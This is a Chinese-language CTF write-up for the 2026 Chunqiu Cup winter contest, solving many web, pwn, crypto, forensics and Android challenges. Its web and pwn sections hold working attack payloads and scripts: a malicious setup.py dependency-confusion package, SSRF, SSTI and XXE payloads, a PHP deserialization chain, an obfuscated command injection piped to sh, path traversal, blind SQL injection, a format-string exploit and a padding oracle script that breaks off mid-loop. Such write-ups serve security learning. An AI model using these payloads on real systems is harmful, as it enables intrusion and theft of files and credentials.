2026春秋杯冬季赛 WriteUp By小灰灰

2026春秋杯冬季赛 WriteUp By小灰灰

Internal_maneger

漏洞分析与发现 (Reconnaissance)
通过提供的源码附件,我分析了两个关键文件:

src/requirements.txt:

这里定义了一个依赖包 sys-core-utils,这是攻击的目标。

src/build.sh:

这里的 --find-links ./packages 参数告诉 pip 在本地的 ./packages 目录中寻找依赖包。结合题目提供的 /upload 接口(允许我们上传包到 packages 目录),这就构成了完整的攻击链。
漏洞原理:pip 在安装依赖时,默认行为是寻找版本号最高的符合要求的包。如果我们在 ./packages 中上传一个版本号极大(例如 1000.0.0)的 sys-core-utils 包,pip 就不会去安装系统原本准备好的低版本包,而是优先安装我们的恶意包。

构造恶意 Payload (Exploitation)
为了执行命令获取 Flag,我构造了一个恶意的 Python 安装包结构。核心在于 setup.py 文件,因为当 pip 解析 .tar.gz 源码包时,会直接执行其中的 setup.py。

我的 setup.py 设计如下(简化版):

from setuptools import setup
import os

# 恶意函数
def pwn():
    try:
        # 1. 尝试读取系统根目录下的 flag 文件
        with open('/flag', 'r') as f:
            flag_content = f.read().strip()
    except Exception as e:
        flag_content = str(e)
    
    # 2. 【关键技巧】主动抛出异常
    # 既然我们无法直接看到控制台输出,利用报错不仅能打断安装,
    # 还能强制 pip 把包含 Flag 的错误信息写入到日志文件中。
    raise RuntimeError(f"PWN_FLAG: {flag_content}")

# 立即执行恶意函数
pwn()

setup(
    name='sys-core-utils',
    version='1000.0.0', # 使用极大的版本号压制原版
    description='pwn',
    packages=[],
)

攻击实施 (Execution)
打包:脚本自动将上述 setup.py 打包成 sys-core-utils-1000.0.0.tar.gz。
上传:利用 /upload 接口将恶意包上传到服务器的“临时包缓存”。
触发构建:访问 /build 接口,服务器端启动 build.sh。
Pip 中招:pip 发现 sys-core-utils 有一个 1000.0.0 的版本,于是下载并开始处理它,执行了我们的 setup.py。
回显 Flag:代码成功读取 /flag,然后 raise RuntimeError 导致安装失败。报错信息(包含 Flag)被系统捕获并写入日志。
获取结果 (Result)
我编写了监控脚本去拉取 /logs 接口的内容,最终在构建失败的报错堆栈中找到了 Flag:

  × python setup.py egg_info did not run successfully.
  │ exit code: 1
  ╰─> [8 lines of output]
      Traceback (most recent call last):
        ...
          raise RuntimeError(f"PWN_FLAG: {flag_content}")
      RuntimeError: PWN_FLAG: flag{9e1bb95b-15c6-487a-84c2-1496db221b36}  <-- 这里!

alt text

URL_Fetcher

获取 Flag 的详细步骤:
探测与分析:
目标服务是一个 URL 预览工具,通常这类服务如果没做好过滤,会存在 SSRF 漏洞。我尝试了直接访问 http://127.0.0.1,但并没有直接返回结果,且通过探测脚本发现标准的本地地址可能被“黑名单”过滤了一部分。

黑名单绕过:
为了绕过针对 127.0.0.1 或 localhost 的过滤,我使用了 16进制 IP 地址 格式:
http://0x7f.0.0.1 (这等同于 127.0.0.1)。
通过该 Payload,成功访问到了内网服务。

内网端口扫描:
通过脚本利用 SSRF 漏洞对内网常用端口(如 80, 8080, 6379, 3306 等)进行了扫描请求。

发现 Redis 服务:
扫描发现 6379 端口(Redis 默认端口)是开放的。
我构造了请求:http://0x7f.0.0.1:6379/

虽然这是 HTTP 请求,但 Redis 协议在接收到包含 GET / ... 的数据包时,似乎意外泄漏了其中的键值对信息(或者是题目环境特意配置的)。返回内容如下:
*1 $10 secret_key $42 flag{d34d82ec-e436-4d20-8e4e-e15cd3a65a8b}

Hello User

/?name={{7*7}}
/?name={{config}}
/?name={{url_for.globals['os'].popen('ls /').read()}}
/?name={{url_for.globals['os'].popen('cat /flag.txt').read()}}
alt text

Magic_Methods

<?php
// 必须根据题目中的类定义完全一致地声明类结构
class CmdExecutor {
    public $cmd;
}

class MiddleMan {
    public $obj;
}

class EntryPoint {
    public $worker;
}

// --- 构造利用链 ---

// 1. 创建执行器,设置要执行的命令
$executor = new CmdExecutor();
// 第一次建议先用 'ls' 查看目录,或者 'ls /'
// 确认 flag 位置后,改为 'cat /flag'
$executor->cmd = 'env';

// 2. 创建中间人,连接执行器
$middle = new MiddleMan();
$middle->obj = $executor;

// 3. 创建入口点,连接中间人
$entry = new EntryPoint();
$entry->worker = $middle;

// 4. 序列化并 URL 编码
// 必须进行 URL 编码,因为序列化字符串中包含不可见字符或特殊符号
echo "?payload=" . urlencode(serialize($entry));
?>

Forgotten_Tomcat

hydra -s 8080
-L /usr/share/wordlists/metasploit/tomcat_mgr_default_users.txt
-P /usr/share/wordlists/metasploit/tomcat_mgr_default_pass.txt
-f -v
eci-2ze07775hrc05sog36az.cloudeci1.ichunqiu.com
https-get /manager/html
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-30 03:22:20
[DATA] max 16 tasks per 1 server, overall 16 tasks, 260 login tries (l:13/p:20), ~17 tries per task
[DATA] attacking http-gets://eci-2ze07775hrc05sog36az.cloudeci1.ichunqiu.com:8080/manager/html
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[8080][http-get] host: eci-2ze07775hrc05sog36az.cloudeci1.ichunqiu.com login: admin password: password
[STATUS] attack finished for eci-2ze07775hrc05sog36az.cloudeci1.ichunqiu.com (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-30 03:22:21

找到admin:password
找到了其他师傅的博客:https://www.cnblogs.com/Junglezt/p/18122284
按照他这个打就行 waf里面藏一个木马jsp 上传 最后蚁剑连接

RSS_Parser

第一步:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0">
  <channel>
    <title>My Feed</title>
    <item>
      <title>&xxe;</title>
      <link>http://example.com</link>
      <description>Check the title for the file content</description>
    </item>
  </channel>
</rss>

第二步读取index.php:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<rss version="2.0">
  <channel>
    <title>My Feed</title>
    <item>
      <title>&xxe;</title>
      <link>http://example.com</link>
      <description>Base64 Source Code</description>
    </item>
  </channel>
</rss>

第三步获取flag:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///tmp/flag.txt" >
]>
<rss version="2.0">
  <channel>
    <title>My Feed</title>
    <item>
      <title>&xxe;</title>
      <link>http://example.com</link>
      <description>Reading the flag</description>
    </item>
  </channel>
</rss>

Server_Monitor

F12中输入以下内容:

fetch('api.php', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'target=127.0.0.1;e$@cho$IFS$9Y2F0IC9mbGFn|b$@ase64$IFS$9-d|s$@h'
}).then(r => r.json()).then(d => console.log(d));

Hyphernode

/article?id=%2e%2e/%2e%2e/%2e%2e/flag
alt text

Static_Secret

curl -v http://47.94.152.40:36907/
curl --path-as-is http://47.94.152.40:36907/static/../../../../../flag

Dev's Regret

.git文件可以进行恢复
使用git-dumper工具
PS C:\Users\antho\Desktop> cd my_repo
PS C:\Users\antho\Desktop\my_repo> git log
commit 3a4975c6cd1b05ada657bde57fbafeda5751781c (HEAD -> master)
Author: dev dev@example.com
Date: Tue Jan 2 00:00:00 2024 +0000
Remove sensitive flag file
commit 45209632dc5f0091bc517bd4c505a439e7454b70
Author: dev dev@example.com
Date: Mon Jan 1 00:00:00 2024 +0000
Initial commit with flag
git show拿到flag

Session_Leak

登录测试账号 抓包 发现/auth/redirect?next=/dashboard&username=testuser
改成admin之后 再访问/admin 就拿到flag了
alt text

My_Hidden_Profile

user_id改为999再view profile就可以了
alt text

CORS

先curl -k -c cookie.txt -v "https://eci-2ze32kdiks2gv1ik4phf.cloudeci1.ichunqiu.com:80/"
再curl -k -H "Origin: http://localhost" -H "X-Forwarded-For: 127.0.0.1" -b cookie.txt -v "https://eci-2ze32kdiks2gv1ik4phf.cloudeci1.ichunqiu.com:80/api.php"
alt text

EZSQL

异或注入
?id=1'(select(1)from(flag))>0'0 flag表存在
?id=1'(ascii(substr((select(flag)from(flag)),1,1))>0)'0 flag列存在

import requests
import sys

# 目标 URL
url = "https://eci-2zeevphur1xpo4dv2ouj.cloudeci1.ichunqiu.com:80/"

# 打印进度时不换行
def print_flush(text):
    sys.stdout.write(text)
    sys.stdout.flush()

def check(payload_condition):
    """
    发送 Payload 检查条件是否为真
    payload_condition: 类似于 ascii(substr((select(flag)from(flag)),1,1))>100
    """
    # 构造异或盲注 URL: id=1'^(CONDITION)^'0
    # 如果 CONDITION 为真 -> 1^1=0 -> 404
    # 如果 CONDITION 为假 -> 1^0=1 -> 正常页面
    target_url = f"{url}?id=1'^({payload_condition})^'0"
    
    try:
        r = requests.get(target_url, timeout=10)
        # 如果返回 404,说明条件为真 (True)
        if "No item matches" in r.text or r.status_code == 404:
            return True
        return False
    except Exception as e:
        print(f"\n[!] Error: {e}")
        return False

def get_flag():
    flag = ""
    print("[*] Starting Blind SQL Injection to retrieve Flag...")
    
    # 假设 Flag 长度不超过 100
    for i in range(1, 100):
        # 使用二分法查找字符 ASCII 码 (范围 32-126)
        low = 32
        high = 126
        found = False
        
        while low <= high:
            mid = (low + high) // 2
            # 构造 Payload: select(flag)from(flag)
            payload = f"ascii(substr((select(flag)from(flag)),{i},1))>{mid}"
            
            if check(payload):
                # 如果 > mid 为真,说明字符在 mid+1 ~ high 之间
                low = mid + 1
            else:
                # 如果 > mid 为假,说明字符 <= mid
                high = mid - 1
        
        # 二分结束,low 就是目标字符的 ASCII (或者 low-1, 取决于边界)
        # 验证一下 low
        char_ascii = low
        
        # 双重验证:检查 char_ascii 是否正确
        # 注意:上面的逻辑结束后,low 通常是目标值+1或者目标值
        # 我们用 > high (此时 high = low-1) 为假,来确定值
        # 简单来说,最终值应该是 low
        
        if char_ascii > 126 or char_ascii < 32:
             # 可能结束了
             break
             
        flag += chr(char_ascii)
        print_flush(chr(char_ascii))
        
        # 简单的终止条件:如果最后一个字符是 '}',可能就结束了
        if chr(char_ascii) == '}':
            break
            
    return flag

if __name__ == "__main__":
    result = get_flag()
    print(f"\n\n[+] Final Flag: {result}")

NoSQL_Login

POST改成username[$ne]=&password[$ne]=就可以了

hello_lcg

sagemath:

import hashlib

# Challenge Data
ct_hex = "eedac212340c3113ebb6558e7af7dbfd19dff0c181739b530ca54e67fa043df95b5b75610684851ab1762d20b23e9144"
p = 13228731723182634049
ots = [
    10200154875620369687, 2626668191649326298, 2105952975687620620, 
    8638496921433087800, 5115429832033867188, 9886601621590048254, 
    2775069525914511588, 9170921266976348023, 9949893827982171480, 
    7766938295111669653, 12353295988904502064
]

def solve():
    print("[*] Setting up Ring with Lexicographic order...")
    # CRITICAL FIX: Use 'lex' order to ensure triangular form (elimination)
    # This forces the basis to look like [poly(x,y), poly(y)]
    R.<x,y> = PolynomialRing(GF(p), order='lex')

    # Matrix M
    # x_{i+1} = 5y_i + 7
    # y_{i+1} = 11x_i + 13
    M = Matrix(GF(p), [
        [0, 5, 7],
        [11, 0, 13],
        [0, 0, 1]
    ])

    # Calculate M^10
    M10 = M^10
    
    # Extract coefficients
    a, b, c = M10[0][0], M10[0][1], M10[0][2]
    d, e, f = M10[1][0], M10[1][1], M10[1][2]
    
    print("[*] Generating equations...")
    
    # Eq 1: ots[0] = x^2 * y^2
    f1 = x^2 * y^2 - ots[0]
    
    # Eq 2: ots[1] = x_10^2 * y_10^2
    x10 = a*x + b*y + c
    y10 = d*x + e*y + f
    f2 = x10^2 * y10^2 - ots[1]
    
    print("[*] Computing Groebner Basis (this might take a few seconds)...")
    I = Ideal([f1, f2])
    B = I.groebner_basis()
    
    # Because we used 'lex' order, the last element B[-1] MUST be univariate in y
    print(f"[*] Basis calculated. Last element is univariate? {B[-1].is_univariate()}")

    y_poly = B[-1].univariate_polynomial()
    y_roots = y_poly.roots()
    
    print(f"[*] Found candidate y roots: {y_roots}")
    
    for y_val, _ in y_roots:
        y_int = int(y_val)
        
        # Now find x. 
        # Since x is eliminated in the last poly, we can substitute y into other basis elements
        # OR just use the simple relation x^2 = ots[0]/y^2
        try:
            y_inv_sq = pow(y_int, -2, p)
            x_sq = (ots[0] * y_inv_sq) % p
            x_val = GF(p)(x_sq).sqrt()
            
            x_candidates = [int(x_val), int(-x_val)]
            
            for x_int in x_candidates:
                # Generate Key
                key = hashlib.sha256(str(x_int).encode() + str(y_int).encode()).digest()[:16]
                key_hex = key.hex()
                
                print("\n" + "="*40)
                print(f"[+] FOUND SEED!")
                print(f"    x = {x_int}")
                print(f"    y = {y_int}")
                print(f"    Key (hex) = {key_hex}")
                print("-" * 40)
                print("Use this Python one-liner to decrypt locally:")
                print(f"from Crypto.Cipher import AES; print(AES.new(bytes.fromhex('{key_hex}'), AES.MODE_ECB).decrypt(bytes.fromhex('{ct_hex}')))")
                print("="*40 + "\n")
                
        except Exception as e:
            continue

solve()

再python:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# 题目密文
ct_hex = "eedac212340c3113ebb6558e7af7dbfd19dff0c181739b530ca54e67fa043df95b5b75610684851ab1762d20b23e9144"
ct = bytes.fromhex(ct_hex)

# SageMath 算出的所有候选 Key
candidate_keys = [
    "bef99d2482c9bbd78e1a44fcf97993ce",
    "bcecf1c7cc6ba4b4e1c73dddda8562c2",
    "79c9f0be1d4fdb14e78a0b000028408a",
    "7c4a120d83fb92eab4c856455525cb83",
    "de26c6058bb3f6b1a44c40fa847d76fe",
    "60e993b2d4479ae14f1fe2011ccb7123",
    "8a9d06498435cceeea6effdbc676e10c",
    "4370aca593156d87e989a260d5c28ab0",
    "9fa420ab0f77b442d55ba40c93a9b2ab",
    "0fc0ea5b2c4b24fa3825373f336b4681",
    "288bb3993199919de33075e8072da819",
    "34fdfdc54816437c8ea4a99f6164bd6d"
]

print(f"[*] 开始测试 {len(candidate_keys)} 个密钥...")

for key_hex in candidate_keys:
    try:
        key = bytes.fromhex(key_hex)
        cipher = AES.new(key, AES.MODE_ECB)
        # 尝试解密并去除填充
        pt = unpad(cipher.decrypt(ct), 16)
        
        # 如果成功,打印 Flag
        print("\n" + "="*40)
        print(f"[+] 密钥正确: {key_hex}")
        print(f"[+] Flag: {pt.decode()}")
        print("="*40 + "\n")
        break
    except Exception:
        # 解密失败(填充错误或乱码),继续尝试下一个
        pass

越狱的翻译官

alt text

健忘的客服

alt text

窥探内心

alt text

破碎的日志

alt text

import hashlib
import hmac

# 基础信息
key_str = "Bkns_Data_Security_2026_Key"
bin_path = r"C:\Users\antho\Desktop\audit_logs.bin"

with open(bin_path, 'rb') as f:
    content = bytearray(f.read())

# 修复 Flag
index = 7974
content[index] = 0x32 # '2'

data = content[:-32]
stored_hmac = content[-32:]

# 候选 Key
keys = [
    key_str.encode('utf-8'),
    key_str.encode('utf-8') + b'\n',
    key_str.encode('utf-8') + b'\r\n',
    key_str.strip().encode('utf-8')
]

# 候选算法 (输出均为 32 bytes)
algos = ['sha256', 'sha3_256', 'blake2s']

print(f"Testing {len(keys)} keys x {len(algos)} algos...")

match_found = False
for k in keys:
    for algo_name in algos:
        try:
            if hasattr(hashlib, algo_name):
                digest_mod = getattr(hashlib, algo_name)
                h = hmac.new(k, data, digest_mod)
                if h.digest() == stored_hmac:
                    print(f"!!! MATCH FOUND !!!")
                    print(f"Key: {k}")
                    print(f"Algo: {algo_name}")
                    match_found = True
        except Exception as e:
            print(f"Error testing {algo_name}: {e}")

if not match_found:
    print("No HMAC match found with standard fixes.")

# 打印最终 Flag 
start = 7965
end = start + 36 + 6 # flag{...} len is 36(uuid)+6(wrapper) = 42?
# UUID: 36 chars. flag{}: 6 chars. Total 42.
# snippet: flag{5e7a2c4b-8f19-4d36-a203-b1c9d5f0e8a7}
flag_bytes = content[start:start+42]
print(f"Recovered Flag: {flag_bytes.decode('utf-8', errors='ignore')}")

大海捞针

alt text


import os
import collections

root_dir = r"C:\Users\antho\Desktop\leak_data"

file_sizes = collections.defaultdict(int)
file_paths = collections.defaultdict(list)

print(f"Scanning {root_dir}...")

for dirpath, dirnames, filenames in os.walk(root_dir):
    for f in filenames:
        path = os.path.join(dirpath, f)
        try:
            size = os.path.getsize(path)
            file_sizes[size] += 1
            file_paths[size].append(path)
        except OSError as e:
            print(f"Error accessing {path}: {e}")

print("\nFile Size Distribution:")
for size, count in sorted(file_sizes.items()):
    print(f"Size: {size} bytes, Count: {count}")

print("\nPotential Flag Files (Unique Sizes):")
for size, count in file_sizes.items():
    if count < 10:  # Arbitrary threshold for "rare" files
        print(f"--- Size: {size} bytes ---")
        for p in file_paths[size]:
            print(f"File: {p}")
            try:
                with open(p, 'rb') as f:
                    content = f.read(100)
                    print(f"Content (hex): {content.hex()}")
                    try:
                        print(f"Content (text): {content.decode('utf-8')}")
                    except:
                        pass
            except Exception as e:
                print(f"Error reading {p}: {e}")

失灵的遮盖

alt text
alt text

隐形的守护者

stegsolve翻一下就看到flag了

Beacon_Hunter

打开流量包 47开头的就是flag

流量中的秘密

alt text

Stealthy_Ping

过滤ICMP 每个流量的最后一个字符连在一起就是flag

Log_Detective

alt text

import re
import urllib.parse
import os

def solve():
    log_path = r"C:\Users\antho\Desktop\access.log"
    
    if not os.path.exists(log_path):
        print(f"Error: File not found at {log_path}")
        return

    flag_chars = {}
    
    with open(log_path, 'r') as f:
        for line in f:
            # Unquote the line to handle %20 etc
            decoded_line = urllib.parse.unquote(line)
            
            # Look for the specific pattern extracting flag characters
            # Pattern: ASCII(SUBSTRING(flag,N,1))...=VAL
            # Match pattern anchored with ,SLEEP to avoid matching inner id=1
            match = re.search(r"ASCII\(SUBSTRING\(flag,(\d+),1\)\).*?=(\d+),SLEEP", decoded_line)
            
            if match:
                index = int(match.group(1))
                char_code = int(match.group(2))
                flag_chars[index] = chr(char_code)
                print(f"Found char at index {index}: {chr(char_code)} ({char_code})")

    if not flag_chars:
        print("No flag characters found.")
        return

    # Sort by index and join
    sorted_chars = [flag_chars[k] for k in sorted(flag_chars.keys())]
    flag = "".join(sorted_chars)
    
    print(f"\nRecovered Flag: {flag}")

if __name__ == "__main__":
    solve()

SecureGate

这是一个 Android APK 逆向分析题目,核心是绕过基于签名的验证机制。
使用jadx反编译apk,发现主要activity为com.icqctf.signcheck.MainActivity
void m182lambda$onCreate$0$comicqctfsigncheckMainActivity(TextView textView, TextView textView2, View view) {
String strDecrypt = decrypt(SECRET_DATA, SignUtils.getAppSignature(this));
textView.setText(strDecrypt);
if (strDecrypt.startsWith("flag{")) {
textView2.setText("> ACCESS GRANTED.\n> DATA RENDERED TO BUFFER.\n> UI OUTPUT: DISABLED (Security Mode)");
textView2.setTextColor(-16711936);
} else {
textView2.setText("> SIGNATURE MISMATCH.\n> DECRYPTION FAILED.\n> OUTPUT GARBAGE.");
textView2.setTextColor(SupportMenu.CATEGORY_MASK);
}
}
private String decrypt(byte[] bArr, String str) {
if (str == null || str.length() == 0) {
return "";
}
byte[] bytes = str.getBytes();
byte[] bArr2 = new byte[bArr.length];
for (int i = 0; i < bArr.length; i++) {
bArr2[i] = (byte) (bArr[i] ^ bytes[i % bytes.length]);
}
return new String(bArr2);
}
}
加密数据为硬编码的SECRET_DATA
private static final byte[] SECRET_DATA = {86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30};
加密算法为XOR循环加密,如果解密验证得到flag头为flag{ 即为成功(但不输出flag)
接下来查看XOR密钥的获取方式
public class SignUtils {
public static String getAppSignature(Context context) {
try {
return hex(context.getPackageManager().getPackageInfo(context.getPackageName(), 64).signatures[0].toByteArray());
} catch (Exception unused) {
return "";
}
}
private static String hex(byte[] bArr) throws NoSuchAlgorithmException {
try {
MessageDigest messageDigest = MessageDigest.getInstance("SHA1");
messageDigest.update(bArr);
byte[] bArrDigest = messageDigest.digest();
也就是说密钥是apk签名的SHA1哈希
那么直接查看APK signature就可以
SHA-1 签名: 0F BF 65 80 2A 94 64 9F 01 92 0C 2A 09 66 C2 93 4E 81 7F 73

#!/usr/bin/env python3

SECRET_DATA = [86, 10, 3, 1, 77, 124, 123, 97, 109, 37, 64, 90, 2, 89, 8, 5, 
               111, 115, 64, 66, 4, 16, 65, 62, 123, 8, 88, 81, 30]

# SHA1 哈希(来自 APK 签名)
sha1_bytes = [0x0F, 0xBF, 0x65, 0x80, 0x2A, 0x94, 0x64, 0x9F, 0x01, 0x92,
              0x0C, 0x2A, 0x09, 0x66, 0xC2, 0x93, 0x4E, 0x81, 0x7F, 0x73]

def bytes_to_hex(byte_array):
    """模拟 SignUtils.hex() 方法"""
    hex_string = ""
    for b in byte_array:
        hex_byte = format(b, '02x')
        hex_string += hex_byte
    return hex_string

def main():
    # 1. 生成密钥(签名的十六进制字符串)
    signature_hex = bytes_to_hex(sha1_bytes)
    print(f"[*] Signature HEX: {signature_hex}")
    print(f"[*] Key length: {len(signature_hex)} chars")
    
    # 2. 密钥转换为字节
    key = signature_hex.encode('utf-8')
    
    # 3. XOR 解密
    decrypted_bytes = []
    for i in range(len(SECRET_DATA)):
        key_byte = key[i % len(key)]
        decrypted_byte = SECRET_DATA[i] ^ key_byte
        decrypted_bytes.append(decrypted_byte)
    
    # 4. 输出结果
    flag = bytes(decrypted_bytes).decode('utf-8')
    print(f"\n[+] Decrypted bytes: {decrypted_bytes}")
    print(f"[+] Flag: {flag}")
    
    # 5. 验证
    if flag.startswith("flag{"):
        print(f"[✓] SUCCESS! Valid flag found!")
    else:
        print(f"[✗] FAILED: Invalid output")

if __name__ == "__main__":
    main()

talisman

漏洞分析
程序保护:程序开启了 PIE、NX、Canary 和 Full RELRO,通常这意味着很难利用。
逻辑漏洞:程序生成两个随机数并打印,然后读取输入并在 printf(buf) 中直接使用,造成了格式化字符串漏洞。
关键检查:反汇编显示程序在 printf 后会检查一个全局变量(位于 RIP + 0x20151d)的值是否等于 0xcafebabe。如果相等,就会打印 Flag 或开启 Shell。
利用点:
在调用 printf 之前,程序使用了 LEA RSI, [VAR_ADDR] 和 LEA RDX, [VAR_ADDR+2] 等指令。
幸运的是,这些寄存器作为 printf 的第 1 和第 2 个参数(RSI 和 RDX),意味着格式化字符串参数 %1$p 和 %2$p 正好指向了我们想要修改的关键变量的地址。
这绕过了 PIE 保护,因为我们不需要知道基址,可以直接利用栈上(实际上是寄存器映射到栈上)已有的指针。
Exploit 构造
我们需要将目标地址的值修改为 0xcafebabe。

%1$ 指向变量的低 2 字节。
%2$ 指向变量的高 2 字节。
目标值是 0xcafebabe,即低位 0xbabe (47806),高位 0xcafe (51966)。
构造的 Payload 如下:
%47806c%1$hn%4160c%2$hn
(其中 4160 是 51966 - 47806)

发送该 Payload 后,程序成功跳转到 Congratulations! 分支并输出了 Flag。

from pwn import *
import sys
import time

# 设置上下文
context.log_level = 'error'
context.arch = 'amd64'

host = '47.94.152.40'
port = 20487

def try_exploit():
    try:
        p = remote(host, port)
        p.recvuntil(b'Payload):')
        
        # 0xbabe = 47806
        # 0xcafe = 51966
        # Sort small to large for %n writing
        val1 = 0xbabe
        val2 = 0xcafe

        # Construct payload
        # %{val1}c -> print padding
        # %1$hn    -> write val1 to arg1 (RSI -> Key low)
        # %{diff}c -> print more padding
        # %2$hn    -> write val2 to arg2 (RDX -> Key high)
        
        pad1 = val1
        pad2 = val2 - val1
        
        payload = f'%{pad1}c%1$hn%{pad2}c%2$hn'.encode()
        
        print(f"Sending payload length: {len(payload)}")
        p.sendline(payload)
        
        # Wait a bit for processing
        time.sleep(1)
        
        # If successful, we have a shell.
        # Send commands blindly.
        p.sendline(b'echo SHELL_ACTIVE')
        p.sendline(b'ls -la')
        p.sendline(b'cat /flag')
        p.sendline(b'cat flag')
        
        # Receive until timeout using recvall might hang if shell is open, 
        # so we rely on timeout=5
        response = p.recvall(timeout=5).decode(errors='ignore')
        
        if "SHELL_ACTIVE" in response:
            print("Exploit Successful!")
            print(response)
        else:
            print("Exploit might have failed or no output.")
            # Print last part of response
            print(response[-500:])

        p.close()
    except Exception as e:
        print("Error:", e)

if __name__ == '__main__':
    try_exploit()

Trinity Masquerade

from Crypto.Util.number import long_to_bytes, inverse
import math

# 题目给出的数据
N = 1537884748858979344984622139011454953992115329679883538491908319138246091921498274358637436680512448439241262100285587807046443707172315933205249812858957682696042298989956461141902881429183636594753628743135064356466871926449025491719949584685980386415637381452831067763700174664366530386022318758880797851318865513819805575423751595935217787550727785581762050732320170865377545913819811601201991319740687562135220127389305902997114165560387384328336374652137501
H = 154799801776497555282869366204806859844554108290605484435085699069735229246209982042412551306148392905795054001685747858005041581620099512057462685418143747850311674756527443115064006232842660896907554307593506337902624987149443577136386630017192173439435248825361929777775075769874601799347813448127064460190
c = 947079095966373870949948511676670005359970636239892465556074855337021056334311243547507661589113359556998869576683081430822255548298082177641714203835530584472414433579564835750747803851221307816282765598694257243696737121627530261465454856101563276432560787831589321694832269222924392026577152715032013664572842206965295515644853873159857332014576943766047643165079830637886595253709410444509058582700944577562003221162643750113854082004831600652610612876288848
e = 65537

# 1. 求解二次方程 z^2 - Hz + N = 0
# 计算判别式 delta = H^2 - 4N
delta = H * H - 4 * N
sqrt_delta = math.isqrt(delta)

# 确保 delta 是完全平方数(在CTF题目中通常是)
assert sqrt_delta * sqrt_delta == delta, "Discriminant is not a perfect square!"

# 计算两个根
root1 = (H + sqrt_delta) // 2
root2 = (H - sqrt_delta) // 2

# 根据位数判断,r 是较小的那个根 (512 bit vs 1024 bit)
r = min(root1, root2)
print(f"Recovered r: {r}")

# 2. 在模 r 下解密
# 因为 Flag 长度通常远小于 512 bit,所以 m < r
# c = m^e mod N  =>  c = m^e mod r
phi_r = r - 1
d_r = inverse(e, phi_r)

m = pow(c, d_r, r)

# 3. 转换明文
flag = long_to_bytes(m)
print(f"Flag: {flag.decode()}")

Broken Gallery

这是一个经典的 Padding Oracle Attack(填充预言机攻击)题目。

题目分析
通过你提供的 server.py 文件,我们可以分析出以下关键点:

加密模式:使用了 AES-CBC 模式。
漏洞点:parse_token 函数在解密用户输入的 Token 时,如果 unpad 失败(即 Padding 不正确),会返回 False 并在 Option 1 (Preview) 中打印 [ ERROR ];如果 Padding 正确但内容不匹配,会打印 [ RENDER ] (A_UNK)。这构成了一个 Padding Oracle。
Padding 错误 -> 返回 [ ERROR ]
Padding 正确 -> 返回 [ RENDER ] (或 [ PERFECT ])
目标:我们需要解密初始给出的 Tag(即加密的 Seed)。因为我们拥有 Padding Oracle,所以可以不通过 Key,而是通过不断尝试修改密文对应的 IV(或前一个密文块)的字节,来逐字节推算出中间状态和明文。
解决方案
我为你编写了一个自动化脚本 solve.py,它会自动执行 Padding Oracle 攻击:

连接服务器并获取初始 Tag。
将 Tag 切分为 IV 和若干密文块。
逐字节爆破:从每个分块的最后一个字节开始,构造伪造的 IV 发送给服务器,根据服务器返回是 ERROR 还是 RENDER 来判断是否凑出了合法的 Padding(如 0x01,0x02 0x02 等)。
还原明文:通过爆破出的中间值异或前一个密文块(或原始 IV),还原出 Seed 的明文。
提交 Seed:自动将还原的 Seed 发送给 Option 2 (Verify) 获取 Flag。

from pwn import *
import binascii

# context.log_level = 'debug'

def solve():
    # Connect to the server
    r = remote('8.147.132.32', 13440)

    # Read the initial output to get the Tag
    r.recvuntil(b"Tag: ")
    tag_hex = r.recvline().strip().decode()
    print(f"Captured Tag: {tag_hex}")

    tag_bytes = binascii.unhexlify(tag_hex)
    blocks = [tag_bytes[i:i+16] for i in range(0, len(tag_bytes), 16)]
    
    # blocks[0] is IV
    # blocks[1] is C1
    # blocks[2] is C2 (maybe)
    
    print(f"Total blocks: {len(blocks)}")
    
    decrypted_seed = b""
    
    # We want to decrypt blocks starts from index 1
    for block_msg_idx in range(1, len(blocks)):
        print(f"Decrypting block {block_msg_idx}...", flush=True)
        target_cipher_block = blocks[block_msg_idx]
        previous_block = blocks[block_msg_idx-1]
        
        # We need to find Intermediate State (IS) such that IS ^ Fake_IV = Valid Padding
        # Then Plaintext = IS ^ Previous_Block
        
        intermediate_state = bytearray(16)
        
        # We start from the last byte (padding 0x01) up to the first byte
        for pad_val in range(1, 17):
            print(f"  Trying padding {pad_val}...", flush=True)
            # pad_val goes 1, 2, ... 16
            
            # Construct the Fake IV
            # For bytes we already found (indices 16-1 to 16-(pad_val-1)):
            # We want them to result in current pad_val.
            # We know IS[k] ^ Found_IV_Byte[k] = Previous_Pad_Val
            # We want IS[k] ^ New_IV_Byte[k] = pad_val
            # So New_IV_Byte[k] = IS[k] ^ pad_val
            
            fake_iv = bytearray(16)
            
            # Set the suffix bytes we already know to produce the correct padding byte
            for k in range(16 - pad_val + 1, 16):
                fake_iv[k] = intermediate_state[k] ^ pad_val
                
            # Now try to find the byte at index (16 - pad_val)
            target_byte_index = 16 - pad_val
            
            found = False
            for b in range(256):
                fake_iv[target_byte_index] = b
                
                # Payload = FakeIV + TargetBlock
                payload = binascii.hexlify(fake_iv + target_cipher_block)
                
                # Send Option 1
                r.recvuntil(b"> ")
                r.sendline(b"1")
                r.recvuntil(b"Hex: ")
                r.sendline(payload)
                
                # Read response
                # We consume until we see one of the indicators or timeout
                # The ASCII art is about 5 lines.
                response_buffer = b""
                while True:
                    try:
                        chunk = r.recv(1024, timeout=0.2)
                        if not chunk: break
                        response_buffer += chunk
                        if b"______/" in response_buffer or b"Format Error" in response_buffer:
                            break
                    except EOFError:
                        break
                        
                if b"[ RENDER ]" in response_buffer or b"[ PERFECT ]" in response_buffer:
